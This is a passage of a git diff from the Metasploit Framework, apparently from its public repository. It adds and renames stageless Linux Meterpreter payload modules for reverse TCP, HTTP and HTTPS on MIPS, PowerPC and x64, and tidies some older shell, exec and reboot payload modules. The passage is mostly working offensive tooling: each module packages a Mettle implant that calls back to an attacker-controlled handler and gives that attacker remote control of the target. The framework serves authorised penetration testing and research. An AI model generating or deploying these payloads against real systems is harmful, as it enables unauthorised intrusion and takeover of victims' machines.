b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb similarity index 72% rename from modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb rename to modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb index 9b14d5b953..6966468f86 100644 --- a/modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -11,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux' module MetasploitModule - CachedSize = 1019344 + CachedSize = 1023816 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions @@ -21,10 +20,11 @@ module MetasploitModule super( update_info( info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Run the mettle server payload (stageless)', + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ - 'Adam Cammack ' + 'Adam Cammack ', + 'Brent Cook ' ], 'Platform' => 'linux', 'Arch' => ARCH_MIPS64, @@ -36,6 +36,7 @@ module MetasploitModule end def generate - MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config).to_binary :exec + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec end end diff --git a/modules/payloads/singles/linux/mipsbe/exec.rb b/modules/payloads/singles/linux/mipsbe/exec.rb index 4a68161bce..5a82591eeb 100644 --- a/modules/payloads/singles/linux/mipsbe/exec.rb +++ b/modules/payloads/singles/linux/mipsbe/exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - module MetasploitModule CachedSize = 52 @@ -40,7 +38,7 @@ module MetasploitModule register_options( [ OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..82dde575dc --- /dev/null +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_http' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_mipsbe_linux' + +module MetasploitModule + + CachedSize = 1002328 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux + ) + ) + end + + def generate + opts = {scheme: 'http'} + MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..95e367a69d --- /dev/null +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_https' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_mipsbe_linux' + +module MetasploitModule + + CachedSize = 1002328 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux + ) + ) + end + + def generate + opts = {scheme: 'https'} + MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb similarity index 72% rename from modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb rename to modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb index 2e74746dab..e2a9bf891f 100644 --- a/modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -11,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux' module MetasploitModule - CachedSize = 997900 + CachedSize = 1002328 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions @@ -21,10 +20,11 @@ module MetasploitModule super( update_info( info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Run the mettle server payload (stageless)', + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ - 'Adam Cammack ' + 'Adam Cammack ', + 'Brent Cook ' ], 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE, @@ -36,6 +36,7 @@ module MetasploitModule end def generate - MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config).to_binary :exec + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec end end diff --git a/modules/payloads/singles/linux/mipsbe/reboot.rb b/modules/payloads/singles/linux/mipsbe/reboot.rb index c0f93f5b2e..2b7dc471a2 100644 --- a/modules/payloads/singles/linux/mipsbe/reboot.rb +++ b/modules/payloads/singles/linux/mipsbe/reboot.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - module MetasploitModule CachedSize = 32 diff --git a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb index e196576a12..94d8873e44 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb index d1562f9cc4..603e0fb869 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/mipsle/exec.rb b/modules/payloads/singles/linux/mipsle/exec.rb index 431b992815..e66f999f8c 100644 --- a/modules/payloads/singles/linux/mipsle/exec.rb +++ b/modules/payloads/singles/linux/mipsle/exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - module MetasploitModule CachedSize = 52 @@ -41,7 +39,7 @@ module MetasploitModule register_options( [ OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..661f405c2f --- /dev/null +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_http' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_mipsle_linux' + +module MetasploitModule + + CachedSize = 1002424 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux + ) + ) + end + + def generate + opts = {scheme: 'http'} + MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..a884d7486d --- /dev/null +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_https' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_mipsle_linux' + +module MetasploitModule + + CachedSize = 1002424 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux + ) + ) + end + + def generate + opts = {scheme: 'https'} + MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb similarity index 72% rename from modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb rename to modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb index 0a898abb51..dd08d2ecfa 100644 --- a/modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -11,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux' module MetasploitModule - CachedSize = 997996 + CachedSize = 1002424 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions @@ -21,10 +20,11 @@ module MetasploitModule super( update_info( info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Run the mettle server payload (stageless)', + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ - 'Adam Cammack ' + 'Adam Cammack ', + 'Brent Cook ' ], 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE, @@ -36,6 +36,7 @@ module MetasploitModule end def generate - MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config).to_binary :exec + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec end end diff --git a/modules/payloads/singles/linux/mipsle/reboot.rb b/modules/payloads/singles/linux/mipsle/reboot.rb index bb93cdf2e0..2d2da0b4a5 100644 --- a/modules/payloads/singles/linux/mipsle/reboot.rb +++ b/modules/payloads/singles/linux/mipsle/reboot.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - module MetasploitModule CachedSize = 32 diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index 81961f8a90..48fbde0737 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb index 74fa0975ed..78aa63ad2c 100644 --- a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..a95ea15d29 --- /dev/null +++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_http' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_ppc_linux' + +module MetasploitModule + + CachedSize = 788788 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_PPC, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_ppc_Linux + ) + ) + end + + def generate + opts = {scheme: 'http'} + MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..5e5919de63 --- /dev/null +++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_https' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_ppc_linux' + +module MetasploitModule + + CachedSize = 788788 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_PPC, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_ppc_Linux + ) + ) + end + + def generate + opts = {scheme: 'https'} + MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/ppc/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb similarity index 74% rename from modules/payloads/singles/linux/ppc/mettle_reverse_tcp.rb rename to modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb index ed7a18a30f..0a97807845 100644 --- a/modules/payloads/singles/linux/ppc/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -21,10 +20,11 @@ module MetasploitModule super( update_info( info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Run the mettle server payload (stageless)', + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ - 'Adam Cammack ' + 'Adam Cammack ', + 'Brent Cook ' ], 'Platform' => 'linux', 'Arch' => ARCH_PPC, @@ -36,6 +36,7 @@ module MetasploitModule end def generate - MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config).to_binary :exec + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config(opts)).to_binary :exec end end diff --git a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb index 6769b0623b..0e11e4abda 100644 --- a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/ppc/shell_find_port.rb b/modules/payloads/singles/linux/ppc/shell_find_port.rb index 2f12236ae8..ca1ba81ad1 100644 --- a/modules/payloads/singles/linux/ppc/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc/shell_find_port.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb index a883f94dfa..6232fd7767 100644 --- a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb index d9d755c37e..c444ddd7f1 100644 --- a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/ppc64/shell_find_port.rb b/modules/payloads/singles/linux/ppc64/shell_find_port.rb index 57ea9cd295..3f674591a0 100644 --- a/modules/payloads/singles/linux/ppc64/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc64/shell_find_port.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb index d838d9f724..89cb7af59d 100644 --- a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..9a14d00ad8 --- /dev/null +++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_http' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_ppc64le_linux' + +module MetasploitModule + + CachedSize = 789888 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_PPC64LE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_ppc64le_Linux + ) + ) + end + + def generate + opts = {scheme: 'http'} + MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..97621306be --- /dev/null +++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_https' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_ppc64le_linux' + +module MetasploitModule + + CachedSize = 789888 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_PPC64LE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_ppc64le_Linux + ) + ) + end + + def generate + opts = {scheme: 'https'} + MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/ppc64le/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb similarity index 74% rename from modules/payloads/singles/linux/ppc64le/mettle_reverse_tcp.rb rename to modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb index bd9c5a0de3..7d27e19744 100644 --- a/modules/payloads/singles/linux/ppc64le/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -21,10 +20,11 @@ module MetasploitModule super( update_info( info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Run the mettle server payload (stageless)', + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ - 'Adam Cammack ' + 'Adam Cammack ', + 'Brent Cook ' ], 'Platform' => 'linux', 'Arch' => ARCH_PPC64LE, @@ -36,6 +36,7 @@ module MetasploitModule end def generate - MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config).to_binary :exec + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config(opts)).to_binary :exec end end diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb index dd2b022cb8..272513b93f 100644 --- a/modules/payloads/singles/linux/x64/exec.rb +++ b/modules/payloads/singles/linux/x64/exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - module MetasploitModule CachedSize = 47 @@ -25,7 +23,7 @@ module MetasploitModule register_options( [ OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class) + ]) end def generate_stage(opts={}) diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..df1b072078 --- /dev/null +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_http' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_x64_linux' + +module MetasploitModule + + CachedSize = 700032 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_X64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_x64_Linux + ) + ) + end + + def generate + opts = {scheme: 'http'} + MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..bfaac682d6 --- /dev/null +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_https' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_x64_linux' + +module MetasploitModule + + CachedSize = 700032 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_X64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_x64_Linux + ) + ) + end + + def generate + opts = {scheme: 'https'} + MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/linux/x64/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb similarity index 65% rename from modules/payloads/singles/linux/x64/mettle_reverse_tcp.rb rename to modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb index f8c5f7e734..58a8544949 100644 --- a/modules/payloads/singles/linux/x64/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb @@ -3,11 +3,10 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' -require 'msf/base/sessions/meterpreter_x64_mettle_linux' +require 'msf/base/sessions/meterpreter_x64_linux' module MetasploitModule @@ -21,21 +20,23 @@ module MetasploitModule super( update_info( info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Run the mettle server payload (stageless)', + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ - 'Adam Cammack ' + 'Adam Cammack ', + 'Brent Cook ' ], 'Platform' => 'linux', 'Arch' => ARCH_X64, 'License' => MSF_LICENSE, 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::Meterpreter_x64_Mettle_Linux + 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) end def generate - MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config).to_binary :exec + opts = {scheme: 'tcp'} + 